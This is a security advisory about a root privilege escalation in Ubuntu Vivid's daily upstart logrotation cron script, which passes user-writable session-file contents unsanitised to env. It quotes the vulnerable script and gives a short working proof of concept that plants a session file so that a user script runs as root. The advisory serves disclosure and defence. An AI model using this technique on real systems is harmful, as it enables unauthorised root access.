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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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Source: http://www.halfdog.net/Security/2015/UpstartLogrotationPrivilegeEscalation/

## Introduction

Problem description: Ubuntu Vivid 1504 (development branch) installs an insecure upstart logrotation script which will read user-supplied data from /run/user/[uid]/upstart/sessions and pass then unsanitized to an env command. As user run directory is user-writable, the user may inject arbitrary commands into the logrotation script, which will be executed during daily cron job execution around midnight with root privileges.

## Methods

The vulnerability is very easy to trigger as the logrotation script /etc/cron.daily/upstart does not perform any kind of input sanitation:


#!/bin/sh

# For each Upstart Session Init, emit "rotate-logs" event, requesting
# the session Inits to rotate their logs. There is no user-daily cron.
#
# Doing it this way does not rely on System Upstart, nor
# upstart-event-bridge(8) running in the Session Init.
#
# Note that system-level Upstart logs are handled separately using a
# logrotate script.

[ -x /sbin/initctl ] || exit 0

for session in /run/user/*/upstart/sessions/*
do
    env $(cat $session) /sbin/initctl emit rotate-logs >/dev/null 2>&1 || true
done

On a system with e.g. libpam-systemd installed, standard login on TTY or via SSH will create the directory /run/user/[uid] writable to the user. By preparing a suitable session file, user supplied code will be run during the daily cron-jobs. Example:


cat <<EOF > "${HOME}/esc"
#!/bin/sh
touch /esc-done
EOF
chmod 0755 "${HOME}/esc"

mkdir -p /run/user/[uid]/upstart/sessions
echo "- ${HOME}/esc" > /run/user/[uid]/upstart/sessions/x